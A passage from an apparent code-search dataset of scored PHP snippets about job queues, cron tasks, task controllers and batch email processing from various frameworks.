$ve)\n\t\t\t{\n\t\t\t\t$errorMessage = $ve->getMessage() . ': ';\n\n\t\t\t\tforeach($ve->getErrors() as $error => $message)\n\t\t\t\t{\n\t\t\t\t\t$errorMessage .= $error . ' [' . $message . \"]; \\n\";\n\t\t\t\t}\n\n\t\t\t} catch(Exception $e)\n\t\t\t{\n\t\t\t\t$errorMessage = $e->getMessage();\n\t\t\t\tMage::helper('pure360_common')->writeError($e);\n\t\t\t}\n\n\t\t\tif(!is_null($errorMessage))\n\t\t\t{\n\t\t\t\t// Mark job as error\n\t\t\t\t$finish = time();\n\n\t\t\t\t$job->setStatus(Mage_Cron_Model_Schedule::STATUS_ERROR);\n\t\t\t\t$job->setMessage($errorMessage);\n\t\t\t\t$job->setFinishedAt($finish);\n\t\t\t\t$job->save();\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "cd8a156ff964751e03f55685c95c4965", "score": "0.57175326", "text": "abstract public function run_queue();", "title": "" }, { "docid": "95b31c307c3ea43e852b7bd41645d8c3", "score": "0.5704517", "text": "public function postProcess()\n {\n if ($this->module->active == false || !\\Configuration::get('MOBBEX_CRON_MODE') || \\Mobbex\\PS\\Checkout\\Models\\Updater::needUpgrade())\n $this->logger->log('fatal', 'task > postProcess | Task Controller Call On Module or CRON Inactive', $_REQUEST);\n\n die(\\Mobbex\\PS\\Checkout\\Models\\Task::executePendingTasks() ? 'Tasks executed successfully' : 'Error executing one or more tasks');\n }", "title": "" }, { "docid": "695426e1e6c6771b737b2d06a1f6b2ba", "score": "0.57005906", "text": "public function processTask()\n\t{\n\t\t// Incoming\n\t\t$reviewer = Request::getWord('reviewer', '');\n\t\t$action = Request::getCmd('action', '');\n\t\t$comment = Request::getString('comment', '');\n\t\t$approve = Request::getInt('approve', 0);\n\t\t$filterby = Request::getString('filterby', 'pending');\n\t\t$notify = Request::getString('notify', 0, 'post');\n\n\t\t// Cannot proceed without project id/alias\n\t\tif (!$this->model->exists() || $this->model->isDeleted())\n\t\t{\n\t\t\tthrow new Exception(Lang::txt('COM_PROJECTS_PROJECT_NOT_FOUND'), 404);\n\t\t}\n\n\t\t// Authorize\n\t\tif (!$this->model->reviewerAccess($reviewer))\n\t\t{\n\t\t\tthrow new Exception(Lang::txt('ALERTNOTAUTH'), 403);\n\t\t}\n\n\t\t// Set the pathway\n\t\t$this->_buildPathway();\n\n\t\t// Set the page title\n\t\t$this->_buildTitle();\n\n\t\t// Get project params\n\t\t$params = $this->model->params;\n\n\t\tif ($action == 'save' && !$this->getError())\n\t\t{\n\t\t\t$cbase = $this->model->get('admin_notes');\n\n\t\t\t// Meta data for comment\n\t\t\t$meta = '<meta>' . Date::of('now')->toLocal('M d, Y') . ' - ' . User::get('name') . '</meta>';\n\n\t\t\t// Save approval\n\t\t\tif ($reviewer == 'sensitive')\n\t\t\t{\n\t\t\t\t$approve = $approve == 1 && $this->model->get('state') == 5 ? 1 : 0; // can only approve pending project\n\t\t\t\t$state = $approve ? 1 : $this->model->get('state');\n\t\t\t\t$this->model->set('state', $state);\n\t\t\t}\n\t\t\telseif ($reviewer == 'sponsored')\n\t\t\t{\n\t\t\t\t$grant_agency = Request::getString('grant_agency', '');\n\t\t\t\t$grant_title = Request::getString('grant_title', '');\n\t\t\t\t$grant_PI = Request::getString('grant_PI', '');\n\t\t\t\t$grant_budget = Request::getString('grant_budget', '');\n\t\t\t\t$grant_approval = Request::getString('grant_approval', '');\n\t\t\t\t$rejected = Request::getInt('rejected', 0);\n\n\t\t\t\t// New approval\n\t\t\t\tif (trim($params->get('grant_approval')) == '' && trim($grant_approval) != ''\n\t\t\t\t&& $params->get('grant_status') != 1 && $rejected != 1)\n\t\t\t\t{\n\t\t\t\t\t// Increase\n\t\t\t\t\t$approve = 1;\n\n\t\t\t\t\t// Bump up quota\n\t\t\t\t\t$premiumQuota = Helpers\\Html::convertSize(floatval($this->config->get('premiumQuota', '30')), 'GB', 'b');\n\t\t\t\t\t$this->model->saveParam('quota', $premiumQuota);\n\n\t\t\t\t\t// Bump up publication quota\n\t\t\t\t\t$premiumPubQuota = Helpers\\Html::convertSize(floatval($this->config->get('premiumPubQuota', '10')), 'GB', 'b');\n\t\t\t\t\t$this->model->saveParam('pubQuota', $premiumPubQuota);\n\t\t\t\t}\n\n\t\t\t\t// Reject\n\t\t\t\tif ($rejected == 1 && $params->get('grant_status') != 2)\n\t\t\t\t{\n\t\t\t\t\t$approve = 2;\n\t\t\t\t}\n\n\t\t\t\t$this->model->saveParam('grant_budget', $grant_budget);\n\t\t\t\t$this->model->saveParam('grant_agency', $grant_agency);\n\t\t\t\t$this->model->saveParam('grant_title', $grant_title);\n\t\t\t\t$this->model->saveParam('grant_PI', $grant_PI);\n\t\t\t\t$this->model->saveParam('grant_approval', $grant_approval);\n\t\t\t\tif ($approve)\n\t\t\t\t{\n\t\t\t\t\t$this->model->saveParam('grant_status', $approve);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Save comment\n\t\t\tif (trim($comment) != '')\n\t\t\t{\n\t\t\t\t$comment = \\Hubzero\\Utility\\Str::truncate($comment, 500);\n\t\t\t\t$comment = \\Hubzero\\Utility\\Sanitize::stripAll($comment);\n\t\t\t\tif (!$approve)\n\t\t\t\t{\n\t\t\t\t\t$cbase .= '<nb:' . $reviewer . '>' . $comment . $meta . '</nb:' . $reviewer . '>';\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($approve)\n\t\t\t{\n\t\t\t\tif ($reviewer == 'sensitive')\n\t\t\t\t{\n\t\t\t\t\t$cbase .= '<nb:' . $reviewer . '>' . Lang::txt('COM_PROJECTS_PROJECT_APPROVED_HIPAA');\n\t\t\t\t\t$cbase .= (trim($comment) != '') ? ' ' . $comment : '';\n\t\t\t\t\t$cbase .= $meta . '</nb:' . $reviewer . '>';\n\t\t\t\t}\n\t\t\t\tif ($reviewer == 'sponsored')\n\t\t\t\t{\n\t\t\t\t\tif ($approve == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$cbase .= '<nb:' . $reviewer . '>' . Lang::txt('COM_PROJECTS_PROJECT_APPROVED_SPS') . ' ' . ucfirst(Lang::txt('COM_PROJECTS_APPROVAL_CODE')) . ': ' . $grant_approval;\n\t\t\t\t\t\t$cbase .= (trim($comment) != '') ? '. ' . $comment : '';\n\t\t\t\t\t\t$cbase .= $meta . '</nb:' . $reviewer . '>';\n\t\t\t\t\t}\n\t\t\t\t\telseif ($approve == 2)\n\t\t\t\t\t{\n\t\t\t\t\t\t$cbase .= '<nb:' . $reviewer . '>' . Lang::txt('COM_PROJECTS_PROJECT_REJECTED_SPS');\n\t\t\t\t\t\t$cbase .= (trim($comment) != '') ? ' ' . $comment : '';\n\t\t\t\t\t\t$cbase .= $meta . '</nb:' . $reviewer . '>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->model->set('admin_notes', $cbase);\n\n\t\t\t// Save changes\n\t\t\tif ($approve || $comment)\n\t\t\t{\n\t\t\t\tif (!$this->model->store())\n\t\t\t\t{\n\t\t\t\t\t$this->setError($this->model->getError());\n\t\t\t\t}\n\n\t\t\t\t$admingroup = $reviewer == 'sensitive'\n\t\t\t\t\t? $this->config->get('sdata_group', '')\n\t\t\t\t\t: $this->config->get('ginfo_group', '');\n\n\t\t\t\tif (\\Hubzero\\User\\Group::getInstance($admingroup))\n\t\t\t\t{\n\t\t\t\t\t$admins = Helpers\\Html::getGroupMembers($admingroup);\n\t\t\t\t\t$admincomment = $comment\n\t\t\t\t\t\t? User::get('name') . ' ' . Lang::txt('COM_PROJECTS_SAID') . ': ' . $comment\n\t\t\t\t\t\t: '';\n\n\t\t\t\t\t// Send out email to admins\n\t\t\t\t\tif (!empty($admins))\n\t\t\t\t\t{\n\t\t\t\t\t\tHelpers\\Html::sendHUBMessage(\n\t\t\t\t\t\t\t$this->_option,\n\t\t\t\t\t\t\t$this->model,\n\t\t\t\t\t\t\t$admins,\n\t\t\t\t\t\t\tLang::txt('COM_PROJECTS_EMAIL_ADMIN_REVIEWER_NOTIFICATION'),\n\t\t\t\t\t\t\t'projects_new_project_admin',\n\t\t\t\t\t\t\t'admin',\n\t\t\t\t\t\t\t$admincomment,\n\t\t\t\t\t\t\t$reviewer\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Pass success or error message\n\t\t\tif ($this->getError())\n\t\t\t{\n\t\t\t\t$this->_setNotification($this->getError(), 'error');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif ($approve)\n\t\t\t\t{\n\t\t\t\t\tif ($reviewer == 'sensitive')\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->_setNotification(Lang::txt('COM_PROJECTS_PROJECT_APPROVED_HIPAA_MSG'));\n\n\t\t\t\t\t\t// Send out emails to team members\n\t\t\t\t\t\t$this->_notifyTeam();\n\t\t\t\t\t}\n\t\t\t\t\tif ($reviewer == 'sponsored')\n\t\t\t\t\t{\n\t\t\t\t\t\t$notification = $approve == 2\n\t\t\t\t\t\t\t\t? Lang::txt('COM_PROJECTS_PROJECT_REJECTED_SPS_MSG')\n\t\t\t\t\t\t\t\t: Lang::txt('COM_PROJECTS_PROJECT_APPROVED_SPS_MSG');\n\t\t\t\t\t\t$this->_setNotification($notification);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telseif ($comment)\n\t\t\t\t{\n\t\t\t\t\t$this->_setNotification(Lang::txt('COM_PROJECTS_REVIEWER_COMMENT_POSTED'));\n\t\t\t\t}\n\n\t\t\t\t// Add to project activity feed\n\t\t\t\tif ($notify)\n\t\t\t\t{\n\t\t\t\t\t$activity = '';\n\t\t\t\t\tif ($approve && $reviewer == 'sponsored')\n\t\t\t\t\t{\n\t\t\t\t\t\t$activity = $approve == 2\n\t\t\t\t\t\t\t\t? Lang::txt('COM_PROJECTS_PROJECT_REJECTED_SPS_ACTIVITY')\n\t\t\t\t\t\t\t\t: Lang::txt('COM_PROJECTS_PROJECT_APPROVED_SPS_ACTIVITY');\n\t\t\t\t\t}\n\t\t\t\t\telseif ($comment)\n\t\t\t\t\t{\n\t\t\t\t\t\t$activity = Lang::txt('COM_PROJECTS_PROJECT_REVIEWER_COMMENTED');\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($activity)\n\t\t\t\t\t{\n\t\t\t\t\t\t$aid = $this->model->recordActivity($activity, $this->model->get('id'), '', '', 'admin', 0, 1, 1);\n\n\t\t\t\t\t\t// Append comment to activity\n\t\t\t\t\t\tif ($comment && $aid)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$objC = new Tables\\Comment($this->database);\n\t\t\t\t\t\t\t$cid = $objC->addComment($aid, 'activity', $comment, User::get('id'), $aid, 1);\n\n\t\t\t\t\t\t\tif ($cid)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$caid = $this->model->recordActivity(\n\t\t\t\t\t\t\t\t\tLang::txt('COM_PROJECTS_COMMENTED') . ' '\n\t\t\t\t\t\t\t\t\t. Lang::txt('COM_PROJECTS_ON') . ' '\n\t\t\t\t\t\t\t\t\t. Lang::txt('COM_PROJECTS_AN_ACTIVITY'),\n\t\t\t\t\t\t\t\t\t$cid, '', '', 'quote', 0, 1, 1);\n\n\t\t\t\t\t\t\t\tif ($caid)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$objC->storeCommentActivityId($cid, $caid);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Go back to project listing\n\t\t\tApp::redirect(Route::url('index.php?option=' . $this->_option . '&task=browse&reviewer=' . $reviewer . '&filterby=' . $filterby));\n\t\t\treturn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Instantiate a new view\n\t\t\t$this->view->setLayout('review');\n\n\t\t\t// Output HTML\n\t\t\t$this->view->reviewer = $reviewer;\n\t\t\t$this->view->ajax = Request::getInt('ajax', 0);\n\t\t\t$this->view->title = $this->title;\n\t\t\t$this->view->option = $this->_option;\n\t\t\t$this->view->model = $this->model;\n\t\t\t$this->view->params = $params;\n\t\t\t$this->view->config = $this->config;\n\t\t\t$this->view->database = $this->database;\n\t\t\t$this->view->action = $action;\n\t\t\t$this->view->filterby = $filterby;\n\t\t\t$this->view->uid = User::get('id');\n\t\t\t$this->view->msg = $this->_getNotifications('success');\n\t\t\tif ($this->getError())\n\t\t\t{\n\t\t\t\t$this->view->setError($this->getError());\n\t\t\t}\n\t\t\t$this->view->display();\n\t\t}\n\t}", "title": "" }, { "docid": "661934378704f37e2ec006152afaa170", "score": "0.56679296", "text": "public function run_task( I_BTM_Task $task ){\n\t\tif( 0 < $task->get_bulk_size() ){\n\t\t\t$this->run_bulk_task( $task );\n\t\t}else{\n\t\t\t$this->run_simple_task( $task );\n\t\t}\n\t}", "title": "" }, { "docid": "cc759e630e4e9f30b05bfa9d082d6813", "score": "0.56647396", "text": "public function run() {\n\t\t$this->get_queue() ;\n\n\t\tif ( $this->is_queue_empty() ) {\n\t\t\t$this->cancel_process() ;\n\t\t\treturn ;\n\t\t}\n\n\t\tforeach ( $this->queue as $id ) {\n\t\t\t$item = $this->prepare_queue_item( $id ) ;\n\n\t\t\tif ( ! $this->is_queue_valid( $item ) ) {\n\t\t\t\t$this->invalid( $item ) ;\n\t\t\t\tcontinue ;\n\t\t\t}\n\n\t\t\tif ( $this->get_current_time() >= absint( $item->scheduled_on ) ) {\n\t\t\t\t$this->handle( $item ) ;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "9770caacec70adca98814daad5a65e58", "score": "0.56619817", "text": "public function execute() {\r\n $task = ((isset($_POST['task'])) ? esc_html(stripslashes($_POST['task'])) : '');\r\n $id = ((isset($_POST['current_id'])) ? esc_html(stripslashes($_POST['current_id'])) : 0);\r\n if (method_exists($this, $task)) {\r\n $this->$task($id);\r\n }\r\n else {\r\n $this->display();\r\n }\r\n }", "title": "" }, { "docid": "7b612e042d28ed350615561619ec47c8", "score": "0.5654549", "text": "public function finish($task_data) {}", "title": "" }, { "docid": "eb14f16ee25e9747cf256c82f2693516", "score": "0.56375253", "text": "public function s3_put_processing_callback($task)\n {\n // Tell SWF we alive !\n $this->send_heartbeat($task);\n\n // Send progress through CTCom to notify client of upload\n $this->CTCom->activity_finishing($task);\n }", "title": "" }, { "docid": "beecb37ab6d3f46a900e7d8048c68a4a", "score": "0.5636256", "text": "public function runJob()\n\t{\n\t\t$data = $this->jobData;\n\n\t\t$ci = &get_instance();\n\t\t$ci->load->helper('email');\n\n\t\t$response = sendEmail($data['to'], $data['subject'], $data['data'], $data['template']);\n\n\t\tif($response){\n\t\t\t$output['status'] = \"success\";\n\t\t\t$output['message'] = \"Email sent\";\n\t\t} else {\n\t\t\t$output['status'] = \"failed\";\n\t\t\t$output['message'] = \"email fail to send\";\n\t\t}\n\n return json_encode($output);\n\t}", "title": "" }, { "docid": "adc0c796c005a7b81b035b09a02f2f3d", "score": "0.56192464", "text": "abstract public function process();", "title": "" }, { "docid": "dc6d8efe9510d72d2206b8f539d4ae2c", "score": "0.5605194", "text": "public function process();", "title": "" }, { "docid": "dc6d8efe9510d72d2206b8f539d4ae2c", "score": "0.5605194", "text": "public function process();", "title": "" }, { "docid": "dc6d8efe9510d72d2206b8f539d4ae2c", "score": "0.5605194", "text": "public function process();", "title": "" }, { "docid": "dc6d8efe9510d72d2206b8f539d4ae2c", "score": "0.5605194", "text": "public function process();", "title": "" }, { "docid": "bd41442e8e05c79f4e18cfd3c78f51d9", "score": "0.56038177", "text": "function processNextJob($payload){\n if(strcmp('{\"status\":\"processing\"}',$payload)==0){\n $nextJob = $this->getNextJob();\n $nextJobId = $nextJob['jobId'];\n $currenttimestamp = date(\"Y-m-d H:i:s\");\n $sql= \"UPDATE jobs_db.jobs_queue SET status='processing', lastUpdated='$currenttimestamp' WHERE jobId=$nextJobId\";\n $result = $this->conn->query($sql);\n return $nextJob; \n }\n }", "title": "" }, { "docid": "6b429c7d9646d7b8d50defddaa28f19a", "score": "0.55944735", "text": "public function process() {\n\t\t// @ TODO add validation\n\t\t$go = $this->tasks_model->add();\n\n\t\t// Build up the URL to aim towards that created task, so we can just redirect there afterwards.\n\t\t$url = base_url() . 'task/listing/' . $this->session->userdata('uid') . '/' . $go;\n\t\t// Set a flash to give a flashy success message (actually, that's a terrible green @todo - change crappy green success color)\n\t\t$this->session->set_flashdata('success','<div class=\"success\">Task Created!</div>');\n\t\t// Grats yo\n\t\tredirect($url);\n\t}", "title": "" }, { "docid": "1aa6548b3aa8a850177240172e754fe4", "score": "0.5573114", "text": "public function queue($job)\n {\n // Don't requeue completed jobs\n if ($job->status == JOB_STATUS_COMPLETED) return;\n\n // If the reference parsing has failed continue with the conversion\n if (\n (\n $job->conversionStage == JOB_CONVERSION_STAGE_REFERENCES or\n $job->conversionStage == JOB_CONVERSION_STAGE_CITATIONSTYLE\n ) and\n $job->status == JOB_STATUS_FAILED\n )\n {\n $job->status = JOB_STATUS_PROCESSING;\n }\n\n // Stop if the job has failed\n if ($job->status == JOB_STATUS_FAILED) {\n $this->logger->infoTranslate(\n 'manager.queue.jobFailedLog',\n $job->id\n );\n return;\n }\n\n // Queue the job in the queue for the next processing step\n switch ($job->conversionStage) {\n case JOB_CONVERSION_STAGE_UNCONVERTED:\n $this->queueJob($job, 'docx');\n break;\n\n case JOB_CONVERSION_STAGE_DOCX:\n $this->queueJob($job, 'nlmxml');\n break;\n\n case JOB_CONVERSION_STAGE_NLMXML:\n $this->queueJob($job, 'references');\n break;\n\n case JOB_CONVERSION_STAGE_REFERENCES:\n if ($job->referenceParsingSuccess) {\n $this->queueJob($job, 'bibtex');\n }\n else {\n $this->queueJob($job, 'html');\n }\n break;\n\n case JOB_CONVERSION_STAGE_BIBTEX:\n $this->queueJob($job, 'bibtexreferences');\n break;\n\n case JOB_CONVERSION_STAGE_BIBTEXREFERENCES:\n $this->queueJob($job, 'html');\n break;\n\n case JOB_CONVERSION_STAGE_HTML:\n if ($job->referenceParsingSuccess) {\n $this->queueJob($job, 'citationstyle');\n }\n else {\n $this->queueJob($job, 'pdf');\n }\n break;\n\n case JOB_CONVERSION_STAGE_CITATIONSTYLE:\n $this->queueJob($job, 'pdf');\n break;\n\n case JOB_CONVERSION_STAGE_PDF:\n if ($job->referenceParsingSuccess) {\n $this->queueJob($job, 'xmp');\n }\n else {\n $this->queueJob($job, 'zip');\n }\n break;\n\n case JOB_CONVERSION_STAGE_XMP:\n $this->queueJob($job, 'zip');\n break;\n\n default:\n $this->logger->infoTranslate(\n 'manager.queue.jobCompletedLog',\n $job->id\n );\n\n $job->status = JOB_STATUS_COMPLETED;\n $this->jobDAO->save($job);\n break;\n }\n }", "title": "" }, { "docid": "c56d56295d310dd0c41eb15a584d3307", "score": "0.556922", "text": "public function saveTask()\n\t{\n\t\t// Check for request forgeries\n\t\tRequest::checkToken();\n\n\t\tif (!User::authorise('core.edit', $this->_option)\n\t\t && !User::authorise('core.create', $this->_option))\n\t\t{\n\t\t\tApp::abort(403, Lang::txt('JERROR_ALERTNOAUTHOR'));\n\t\t}\n\n\t\t// Incoming\n\t\t$fields = Request::getArray('fields', array(), 'post');\n\n\t\t$recurrence = array();\n\t\tif (isset($fields['minute']))\n\t\t{\n\t\t\t$recurrence[] = ($fields['minute']['c']) ? $fields['minute']['c'] : $fields['minute']['s'];\n\t\t}\n\t\tif (isset($fields['hour']))\n\t\t{\n\t\t\t$recurrence[] = ($fields['hour']['c']) ? $fields['hour']['c'] : $fields['hour']['s'];\n\t\t}\n\t\tif (isset($fields['day']))\n\t\t{\n\t\t\t$recurrence[] = ($fields['day']['c']) ? $fields['day']['c'] : $fields['day']['s'];\n\t\t}\n\t\tif (isset($fields['month']))\n\t\t{\n\t\t\t$recurrence[] = ($fields['month']['c']) ? $fields['month']['c'] : $fields['month']['s'];\n\t\t}\n\t\tif (isset($fields['dayofweek']))\n\t\t{\n\t\t\t$recurrence[] = ($fields['dayofweek']['c']) ? $fields['dayofweek']['c'] : $fields['dayofweek']['s'];\n\t\t}\n\t\tif (!empty($recurrence))\n\t\t{\n\t\t\t$fields['recurrence'] = implode(' ', $recurrence);\n\t\t}\n\t\tunset($fields['minute']);\n\t\tunset($fields['hour']);\n\t\tunset($fields['day']);\n\t\tunset($fields['month']);\n\t\tunset($fields['dayofweek']);\n\n\t\t// Initiate extended database class\n\t\t$row = Job::oneOrNew($fields['id'])->set($fields);\n\n\t\tif ($row->get('recurrence'))\n\t\t{\n\t\t\t$row->set('next_run', $row->nextRun());\n\t\t}\n\n\t\t$p = new \\Hubzero\\Config\\Registry(Request::getArray('params', array(), 'post'));\n\n\t\t$row->set('params', $p->toString());\n\n\t\t// Store content\n\t\tif (!$row->save())\n\t\t{\n\t\t\tNotify::error($row->getError());\n\t\t\treturn $this->editTask($row);\n\t\t}\n\n\t\tNotify::success(Lang::txt('COM_CRON_ITEM_SAVED'));\n\n\t\t// If the task was \"apply\",\n\t\t// fall back through to the edit form.\n\t\tif ($this->getTask() == 'apply')\n\t\t{\n\t\t\treturn $this->editTask($row);\n\t\t}\n\n\t\t// Redirect\n\t\t$this->cancelTask();\n\t}", "title": "" }, { "docid": "99e66a636f09ff77f97b94f1e9155a82", "score": "0.55642134", "text": "public function process()\n {\n $batchSize = self::config()->batch_size;\n $retryTime = self::config()->retry_time;\n $appIdentifier = self::config()->application_identifier;\n\n $lastAttemptTime = \\DBField::create_field('SS_Datetime',\n strtotime('-' . $retryTime . 'm', strtotime(\\SS_Datetime::now())));\n\n $batch = QueuedEmail::get()->where(\n sprintf('(\"LastAttempt\" <= \\'%s\\' OR LastAttempt IS NULL) AND \"Status\" <> \\'Sent\\'', $lastAttemptTime->getValue())\n )->limit($batchSize);\n\n foreach ($batch as $email) {\n $result = $this->transport->send(\n $appIdentifier,\n $appIdentifier . '-' . $email->ID,\n $email->To,\n $email->From,\n $email->Subject,\n $email->HTML,\n $email->Plain,\n $email->CC,\n $email->BCC,\n $email->loadAttachments(),\n $email->loadHeaders(),\n $email->ReplyTo\n );\n\n if ($result) {\n $email->Status = 'Sent';\n $email->Identifier = $result;\n } else {\n $email->Status = 'Failed';\n }\n\n $email->write();\n }\n\n $this->resendBounced();\n }", "title": "" }, { "docid": "db445487ae01aa4659c9101880cb89c7", "score": "0.5560088", "text": "public function run_simple_task( I_BTM_Task $task ){\n\t\t$task_dao = BTM_Task_Dao::get_instance();\n\t\t$task_dao::get_instance()->mark_as_running( $task );\n\n\t\t$task_dao->change_last_run( $task );\n\n\t\t$start = time();\n\t\ttry{\n\t\t\t$task_run_filter_log = new BTM_Task_Run_Filter_Log();\n\t\t\t$callback_args = $task->get_callback_arguments();\n\t\t\t$task_bulk_arguments = array();\n\t\t\t/**\n\t\t\t * Runs the background tasks, gathers their logs.\n\t\t\t *\n\t\t\t * There is a prefix added to the filter tag,\n\t\t\t * @see BTM_Plugin_Options::get_task_filter_name_prefix()\n\t\t\t *\n\t\t\t * @param BTM_Task_Run_Filter_Log $task_run_filter_log the logs that callback functions should return\n\t\t\t * @param mixed[] $callback_args the callback arguments\n\t\t\t * @param BTM_Task_Bulk_Argument[] $task_bulk_arguments the callback arguments\n\t\t\t */\n\t\t\t$task_run_filter_log = apply_filters(\n\t\t\t\tBTM_Plugin_Options::get_instance()->get_task_filter_name_prefix() . $task->get_callback_action(),\n\t\t\t\t$task_run_filter_log,\n\t\t\t\t$callback_args,\n\t\t\t\t$task_bulk_arguments\n\t\t\t);\n\t\t}catch( Exception $e ){\n\t\t\t$task_run_filter_log->add_log( $e->getMessage() );\n\t\t\t$task_run_filter_log->set_failed( true );\n\t\t}finally{\n\t\t\t$end = time();\n\n\t\t\tif( $task_run_filter_log->is_failed() ){\n\t\t\t\t$task_dao::get_instance()->mark_as_failed( $task );\n\t\t\t\t$task_run_log_status = new BTM_Task_Run_Status( BTM_Task_Run_Status::STATUS_FAILED );\n\t\t\t\t$notify = new BTM_Notification_Runner();\n\t\t\t\t$notify->notify_failed_task( $task );\n\t\t\t}else{\n\t\t\t\t$task_dao::get_instance()->mark_as_succeeded( $task );\n\t\t\t\t$task_run_log_status = new BTM_Task_Run_Status( BTM_Task_Run_Status::STATUS_SUCCEEDED );\n\t\t\t}\n\n\t\t\tBTM_Task_Run_Log_Dao::get_instance()->create(\n\t\t\t\tnew BTM_Task_Run_Log(\n\t\t\t\t\t$task->get_id(),\n\t\t\t\t\tBTM_Task_Manager_Log_Dao::get_instance()->get_session_id(),\n\t\t\t\t\t$task_run_filter_log->get_logs(),\n\t\t\t\t\t$task_run_log_status,\n\t\t\t\t\t$start,\n\t\t\t\t\t$end\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\t}", "title": "" }, { "docid": "b5075fa199e3150a960edb8b429b0c1d", "score": "0.55534595", "text": "abstract protected function executeTask(ExternalTaskEntity $externalTask);", "title": "" }, { "docid": "828a90cd576336baf474b143c024f285", "score": "0.5553012", "text": "function executeAndProcess() {\r\n\t\t//Queued responses\r\n\t\tforeach ( $this->queue as $qk => $q ) {\r\n\t\t\t$q->Call ();\r\n\t\t\tunset ( $this->queue [$qk] );\r\n\t\t}\r\n\t\t\r\n\t\t$this->Execute ( true );\r\n\t}", "title": "" }, { "docid": "07428d80aba2e8876aa34cfb4a0b06cf", "score": "0.5551503", "text": "protected function work($job)\n {\n $this->workload = unserialize($job->workload());\n }", "title": "" }, { "docid": "ab4eb16b6419a7257190aea9764d4d99", "score": "0.55472296", "text": "function drush_mcl_submit_uploading_job($username, $filepath) {\n\n // Checks arguments.\n $args = array(\n 'username' => $username,\n 'filepath' => $filepath,\n );\n if (!mcl_check_arguments($args)) {\n mcl_print(\"Error : Please check arguments\", 1, 3);\n exit;\n }\n\n // Checks the working_dir_dir option.\n $working_dir = drush_get_option('working_dir');\n if ($working_dir) {\n if (!file_exists($working_dir)) {\n mcl_print(\"Error : The working directory ($working_dir) dose not exist\", 1, 3);\n exit;\n }\n }\n\n // Gets the job_name option.\n $job_name = drush_get_option('job_name');\n\n // Gets MCL_USER.\n $mcl_user = MCL_USER::byKey(array('name' => $username));\n\n // Prepares a uploading job.\n $mcl_job = mcl_prepare_uploading_job($mcl_user, $filepath, $working_dir, $job_name, FALSE);\n if ($mcl_job) {\n mcl_print(\"Error : Failed to prepare a uploading job\", 1, 3);\n exit;\n }\n\n // Shows the message.\n $msg = \"\\n\\n\\t=========================================\" .\n \"\\n\\tUploading job has been submitted.\\n\\tThe notification email \" .\n \"would be sent to\\n\\tthe following address shortly.\\n\\n\" .\n \"\\temail : \" . $mcl_user->getMail() .\n \"\\nJob ID : \" . $mcl_job->getJobID() .\n \"\\n\\t-----------------------------------------\\n\\n\\n\\n\\n\";\n print $msg;\n}", "title": "" }, { "docid": "15558aa72afdff29de37754e6bad6b65", "score": "0.5546702", "text": "abstract protected function process();", "title": "" }, { "docid": "23e23c8537b6affc05bce64ac1846b64", "score": "0.55420053", "text": "public function process()\n {\n\n try {\n // load the plugin's subjects\n $subjects = $this->getPluginConfiguration()->getSubjects();\n\n // initialize the array for the status\n $status = array();\n\n // initialize the status information for the subjects\n /** @var \\TechDivision\\Import\\Configuration\\SubjectConfigurationInterface $subject */\n foreach ($subjects as $subject) {\n $status[$subject->getPrefix()] = array();\n }\n\n // and update it in the registry\n $this->getRegistryProcessor()->mergeAttributesRecursive(RegistryKeys::STATUS, $status);\n\n // process all the subjects found in the system configuration\n /** @var \\TechDivision\\Import\\Configuration\\SubjectConfigurationInterface $subject */\n foreach ($subjects as $subject) {\n $this->processSubject($subject);\n }\n\n $status = $this->getRegistryProcessor()->getAttribute(RegistryKeys::STATUS);\n // Add countImportedFiles index to status to check if a file has been imported\n if (isset($status['countImportedFiles'])) {\n $status['countImportedFiles'] += $this->bunches;\n } else {\n $status['countImportedFiles'] = $this->bunches;\n }\n $status[RegistryKeys::BUNCHES] = $this->bunches;\n\n // update the number of imported bunches\n $this->getRegistryProcessor()->mergeAttributesRecursive(\n RegistryKeys::STATUS,\n $status\n );\n } catch (MissingOkFileException $mofe) {\n // finish the application if we can't find the mandatory OK file\n $this->getApplication()->finish($mofe->getMessage());\n } catch (\\Exception $e) {\n // re-throw the exception\n throw $e;\n }\n }", "title": "" }, { "docid": "8c4f27e3463d78ef4d81e1573e3e85f2", "score": "0.552077", "text": "abstract public function postTaskContent();", "title": "" }, { "docid": "275ac7ec08f4d98cc7982b4192774003", "score": "0.55094457", "text": "public function execute($jobId);", "title": "" }, { "docid": "c9497d443eca73ae4f7eec32ab222485", "score": "0.55072296", "text": "public function handle()\n {\n $this->info(sprintf('[%s] job:start command start.', Carbon::now()->format('Y-m-d H:i:s')));\n\n // SampleJobAを同期(laravel-sync)で実行する\n SampleJobA::dispatch()->onQueue('laravel-sync')->delay(Carbon::now());\n $this->info(sprintf('[%s] job:start command - sample job A.', Carbon::now()->format('Y-m-d H:i:s')));\n\n // SampleJobBを同期(laravel-sync)で実行する\n SampleJobB::dispatch()->onQueue('laravel-sync')->delay(Carbon::now());\n $this->info(sprintf('[%s] job:start command - sample job B.', Carbon::now()->format('Y-m-d H:i:s')));\n\n // SampleJobCを非同期(laravel-async)で実行する\n SampleJobC::dispatch()->onQueue('laravel-async')->delay(Carbon::now());\n $this->info(sprintf('[%s] job:start command - sample job C.', Carbon::now()->format('Y-m-d H:i:s')));\n\n // SampleJobCを非同期(laravel-async)で実行する\n SampleJobD::dispatch()->onQueue('laravel-async')->delay(Carbon::now());\n $this->info(sprintf('[%s] job:start command - sample job D.', Carbon::now()->format('Y-m-d H:i:s')));\n\n // 